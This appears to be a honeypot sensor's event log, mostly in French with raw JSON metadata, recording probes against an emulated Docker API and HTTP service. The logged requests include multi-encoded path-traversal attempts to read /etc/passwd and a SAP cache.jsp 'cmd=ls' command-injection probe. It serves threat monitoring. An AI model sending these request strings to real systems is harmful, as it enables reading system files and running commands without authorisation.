"multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "exploitation", "matched_patterns": [], "ban_policy": "advisory_investigate", "tags_list": [ "950260:lfi-0", "950264:lfi-1", "950316:lfi-14", "950326:rce-0", "950468:nosqli-3", "950470:nosqli-3", "net_web_probe" ] }
30/07/2026 21:49:42 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 32
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload mozi_pattern Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP/1.1 Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 32 Confiance : Confiance 0 % — 5 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP/1.1 Requête brute (extrait) GET /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Accep Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 310, "payload_entropy": 5.31522537834081, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 30, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 4.8, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25 }, "risk_score": 32, "tag_count": 5, "anomaly_count": 0, "campaign_key": "e3d7f544a866a533f9cf364e707ea0fc45fd045d", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "2c2ce32bda4fa91c436fdaab570673d9", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 32 }, "payload_preview": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "request_sample": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko\/20100101 Firefox\/130.0\r\nAccep", "payload_snippet": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "evidence": { "request_sample": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko\/20100101 Firefox\/130.0\r\nAccep", "payload_snippet": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "6d71f096c3dc3e769e95945bac55100c5e5dcc62", "protocol_details": { "payload_preview": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 32\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 32, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:49:41 UTC	TCP	2375 · DOCKER	docker	Sonde API Docker docker api probe · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 32
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload mozi_pattern Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%252 Pourquoi cette classification : Type « docker_api_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 32 Confiance : Confiance 0 % — 5 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%252 Requête brute (extrait) GET /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefo Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 324, "payload_entropy": 5.27276460137913, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 60, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 30, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 4.8, "risk_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25 }, "risk_score": 32, "tag_count": 5, "anomaly_count": 0, "campaign_key": "e3d7f544a866a533f9cf364e707ea0fc45fd045d", "event_fingerprint": "00a875d783a0dbdbe0de1f97f4b47b47ab6b3d3e", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "9d6945d08b8ebd0ebe364c573a7db6bd", "path_pattern_hash": "f1831d9f4a5a77b3112c071eb8abe3e6" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 32 }, "payload_preview": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%252", "request_sample": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko\/20100101 Firefo", "payload_snippet": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%252", "evidence": { "request_sample": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko\/20100101 Firefo", "payload_snippet": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%252", "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "cloud_infra_scan" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "84f1fab4765514ccbee7c97e0ddb01045fbb66d6", "protocol_details": { "payload_preview": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%252", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%252", "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab docker_api_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 32\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 60, "behavior": 0, "geo": 0, "protocol": 30, "novelty": 25, "risk_score": 32, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 32, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%252", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "docker api probe \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/index.php\/apps\/app_api\/proxy\/flow\/api\/w\/_\/jobs_u\/get_log_file\/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%252", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 5 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "mozi_pattern", "net_docker_api_probe" ] }
30/07/2026 21:49:41 UTC	TCP	2375 · DOCKER	docker	Sonde SAP ICM HTTP Sonde SAP ICM / WebDynpro · via DOCKER:2375 · (sonde / probe)	Élevée	Faible · 34
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE TA0007 TA0007 TA0001 Protocole Émulateur DOCKER WAF — Recommandation Surveiller Tags docker_api_probe docker_emulated docker_payload http_get_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 2375 Chemin / cible — Service DOCKER Payload GET /irj/cache.jsp?cmd=ls HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML Pourquoi cette classification : Type « sap_web_probe » (signaux protocolaires) · confiance 0% Confiance classification 8% Corrélation +8 Risque capteur Faible · 34 Confiance : Confiance 0 % — 7 signal(aux) capteur Protocole émulé 1 Technique MITRE TA0007 Tactiques MITRE TA0007 TA0001 User-Agent — Règles WAF — Payload (extrait) GET /irj/cache.jsp?cmd=ls HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML Requête brute (extrait) GET /irj/cache.jsp?cmd=ls HTTP/1.1 Host: 62.3.50.33:2375 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Accept: / Accept-Language: en Accept-Encoding: gzip Meta JSON brut { "protocol_emulated": true, "emulator_response": "485454502f312e3120323030204f4b0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a5365727665723a20446f636b65722f32342e302e350d0a436f6e74656e742d4c656e6774683a2036380d0a0d0a7b2241706956657273696f6e223a22312e3431222c2256657273696f6e223a223234", "emulator_response_len": 162, "bytes_in": 233, "payload_entropy": 5.467951294528127, "port_category": "registered", "org": "Alibaba (US) Technology Co., Ltd.", "service": "docker", "app_proto": "docker", "asn": 45102, "country": "JP", "dst_port": 2375, "risk_waf": 8, "risk_classification": 54, "risk_behavior": 0, "risk_geo": 0, "risk_protocol": 40, "risk_novelty": 25, "risk_boost": 20, "risk_granularity": 5.5, "risk_breakdown": { "waf": 8, "classification": 54, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25 }, "risk_score": 34, "tag_count": 7, "anomaly_count": 0, "campaign_key": "ec1c9e9b7debbbc901808f37122eb0c649efb648", "event_fingerprint": "3136e35d9bfd633880cd2b6acfb0daa0dc25b017", "classification_reason": "Type \u00ab sap_web_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "confidence": 0.08, "classification_confidence": 0.08, "precision_score": 0, "precision_signals": [], "kb_rule_ids": [], "confidence_breakdown": { "waf": 8, "classification": 54, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 34, "correlation_boost": 8 }, "named_classification_skipped": false, "service_name": "docker", "risk_confidence_factor": 0, "city": null, "is_datacenter": false, "is_tor_hint": false, "geo": { "country": "JP", "asn": 45102, "org": "Alibaba (US) Technology Co., Ltd.", "is_datacenter": false, "is_tor_hint": false }, "fingerprint": { "payload_hash": "5f8a27eca42084cd254f4aa74e03a35b", "path_pattern_hash": "2dea5f3383fd8694e14eaf8b920fd9fc" }, "target_context": { "dst_port": 2375, "service": "docker", "service_name": "docker", "risk_score": 34 }, "payload_preview": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML", "request_sample": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/133.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML", "evidence": { "request_sample": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/133.0.0.0 Safari\/537.36\r\nAccept: \/\r\nAccept-Language: en\r\nAccept-Encoding: gzip\r\n\r\n", "payload_snippet": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML", "classification_reason": "Type \u00ab sap_web_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%" }, "attack_stage": "probe", "mitre_tactics": [ "TA0007", "TA0001" ], "mitre": "TA0007", "threat_family": [ "sap_probe" ], "recommended_client_action": "monitor", "policy_mode": "intelligence", "sensor_role": "threat_intelligence", "event_signature": "c358adbb14daf86dcecfae0988d76989252c63da", "protocol_details": { "payload_preview": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "evidence_snippet": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML", "attack_vector": "Sonde SAP ICM \/ WebDynpro \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 7 signal(aux) capteur", "site_display": { "classification": null, "classification_reason": "Type \u00ab sap_web_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "classification_reason_label_fr": "Type \u00ab sap_web_probe \u00bb (signaux protocolaires) \u00b7 confiance 0%", "executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 34\/100", "confidence_pct": 8, "confidence_breakdown": { "waf": 8, "classification": 54, "behavior": 0, "geo": 0, "protocol": 40, "novelty": 25, "risk_score": 34, "correlation_boost": 8 }, "attack_stage": "probe", "attack_stage_label": "Sonde \/ probe", "attack_chain_stage": "discovery", "attack_chain_stage_label_fr": "D\u00e9couverte", "risk_score": 34, "risk_label": "Faible", "service_name": "docker", "service_label_fr": "DOCKER", "dst_port": 2375, "protocol_emulated": true, "tags_summary": null, "tags_summary_labels_fr": null, "recommended_action": "monitor", "recommended_action_label": "Surveiller", "mitre": "TA0007", "mitre_technique": "TA0007", "persona_hostname": "mail.sensor-1.internal", "persona_service_banner": "Docker 24.0.5", "correlation_flags": [ "multi_protocol_correlation" ], "correlation_flags_labels_fr": [ "Multi-protocole corr\u00e9l\u00e9 (5 min)" ], "sensor_role": "threat_intelligence", "sensor_role_label_fr": "Renseignement menaces", "confidence_hint_fr": "Corr\u00e9lation +8", "protocol_details": { "payload_preview": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML", "port": 2375, "service": "docker", "service_label_fr": "DOCKER" }, "attack_vector": "Sonde SAP ICM \/ WebDynpro \u00b7 via DOCKER:2375 \u00b7 (sonde \/ probe)", "evidence_snippet": "GET \/irj\/cache.jsp?cmd=ls HTTP\/1.1\r\nHost: 62.3.50.33:2375\r\nUser-Agent: Mozilla\/5.0 (X11; Linux x86_64) AppleWebKit\/537.36 (KHTML", "target_port_label": "2375 \u00b7 DOCKER", "emulator_service": "docker", "confidence_reason": "Confiance 0 % \u2014 7 signal(aux) capteur", "confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8", "campaign_hint_fr": null, "attack_phases_timeline_fr": [ { "key": "recon", "label_fr": "Reconnaissance", "active": false, "kind": "stage" }, { "key": "probe", "label_fr": "Sonde \/ probe", "active": true, "kind": "stage" }, { "key": "exploit_attempt", "label_fr": "Tentative d'exploit", "active": false, "kind": "stage" }, { "key": "post_exploit", "label_fr": "Post-exploitation", "active": false, "kind": "stage" }, { "key": "c2", "label_fr": "Commande & contr\u00f4le", "active": false, "kind": "stage" }, { "key": "discovery", "label_fr": "D\u00e9couverte", "active": true, "kind": "chain", "hint_fr": null } ] }, "honeypot_persona": { "sensor_id": "sensor-1", "hostname": "mail.sensor-1.internal", "mail_host": "mail.sensor-1.internal", "ldap_dc": "dc.sensor-1.internal", "k8s_cluster": "hp-sensor-1", "domain": "sensor-1.internal", "service_role": "docker", "service_banner": "Docker 24.0.5", "service_os": "linux", "dst_port": "2375" }, "hostname": "mail.sensor-1.internal", "sensor_id": "sensor-1", "multi_protocol_correlation": true, "multi_protocol_count": 2, "multi_protocol_sample": [ "docker", "http" ], "multi_protocol_window_s": 300, "behavior_alerts": [ "multi_protocol_correlation" ], "correlation_confidence_boost": 8, "attack_chain_stage": "discovery", "matched_patterns": [], "ban_policy": "advisory_monitor", "tags_list": [ "docker_api_probe", "docker_emulated", "docker_payload", "http_get_probe", "mozi_pattern", "net_sap_web_probe", "sap_web_probe" ] }
30/07/2026 21:49:41 UTC	TCP	7001 · HTTP	http	Traversal LFI lfi path traversal · via HTTP:7001 · (tentative d'exploit) · → /index.php/apps/app_api/proxy/flow/api/w/_/jobs…	Élevée	Élevé · 65
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Multi-protocole corrélé (5 min) MITRE T1083 TA0001 TA0002 Protocole GET /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605… Émulateur HTTP WAF 43 Recommandation Investiguer Tags 950260:lfi-0 950264:lfi-1 950316:lfi-14 950326:rce-0 Cible HTTP GET /index.php/apps/app_api/proxy/flow/api/w/_/jobs_u/get_log_file/..%25252F..%25252F..%25252F..%25252F..%25252F..%25252Fetc%25252Fpasswd TLS SNI — Capteur paris-1
